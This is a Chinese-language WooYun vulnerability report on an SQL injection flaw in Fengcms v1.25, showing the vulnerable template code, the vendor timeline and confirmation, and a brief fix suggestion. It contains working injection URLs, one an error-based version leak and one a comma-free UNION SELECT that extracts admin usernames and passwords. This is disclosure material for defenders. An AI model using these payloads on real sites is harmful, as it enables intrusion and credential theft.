当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071914

漏洞标题:Fengcms v1.25 SQL注入漏洞

相关厂商:fengcms.com

漏洞作者: zxx

提交时间:2014-08-12 17:46

修复时间:2014-09-26 17:48

公开时间:2014-09-26 17:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-12: 细节已通知厂商并且等待厂商处理中
2014-08-13: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向第三方安全合作伙伴开放
2014-10-07: 细节向核心白帽子及相关领域专家公开
2014-10-17: 细节向普通白帽子公开
2014-10-27: 细节向实习白帽子公开
2014-09-26: 细节向公众公开

简要描述:

过滤不严,绕过并注入

详细说明:

Template/article.html和Template/article_class.html中
{$classid=$_GET[‘classid’]}//直接GET传入

<div class="home_box">
<div class="boxtitle">
<h3>最新推荐</h3>
</div>
<ul class="list_12">
{loop M("module")->l("article","w[classid='$classid'&&attrib_j=1&&status=1];f[title,html,date];n[10];s[id,1]") $k $v} //classid直接带入查询
<li><span>{date('m/d',strtotime($v['date']))}</span><a href="{url($v['html'])}">{$v['title']}</a></li>
{/loop}
</ul>
</div>
下面的一样,就省略了


这里显然已经有注入的潜质了,就看后面查询的时候有无过滤,试试直接报错注入
http://localhost/?controller=classify&project=article&classify=&classid=1'%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)#

QQ截图20140811101536.png


Message :Invalid SQL:select title,html,date from f_article where classid='1' and (select 1 from (select count(*) and (classid = "concat(version()") order by id desc limit 10
竟然给我变成了 and (classid = "concat(version()") 。什么玩意??
不过这里已经看出来数据库表的前缀f_了。
继续跟,看看怎么回事。
定位model/moduleModel.php中函数l:

public function l($table,$func=""){
$array=explode(";",$func);
if(count($array)>1){
foreach($array as $v){
$this->tagsresolve($v);
}
}else{
$this->tagsresolve($func);
}
。。。。
return D($table)->field($field)->where($where)->sort($sortf,$sorts,$sortp)->limit($limit)->getall();


tagsresolve函数对传过来的参数进行处理了,继续跟tagsresolve函数:

private function tagsresolve($string){
$str=substr(substr($string,2),0,-1);
switch(substr($string,0,1)){
case "w": //w时
$exp=explode(',',$str);//这里用逗号分割
if($exp[1]){//如果我们的语句中有逗号,就会被处理
return $this->op['where']=$exp[0].$this->whereclass($exp[1]);
}elseif($str){
return $this->op['where']=$str;
}
break;


whereclass就不继续跟进了
既然把没有逗号了,那就不用好了,见证明

漏洞证明:

http://localhost/?controller=classify&project=article&classify=&classid=2'%20%20UNION%20SELECT%20*%20FROM%20((SELECT%20admin%20from%20f_manage)a%20JOIN%20(SELECT%202)b%20JOIN%20(SELECT%20password%20from%20f_manage)c)%20%23

QQ截图20140811092820.png

修复方案:

把template里面传入的参数也过滤一下

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-13 09:37

厂商回复:

非常感谢,我们立即通知技术人员解决!

最新状态:

暂无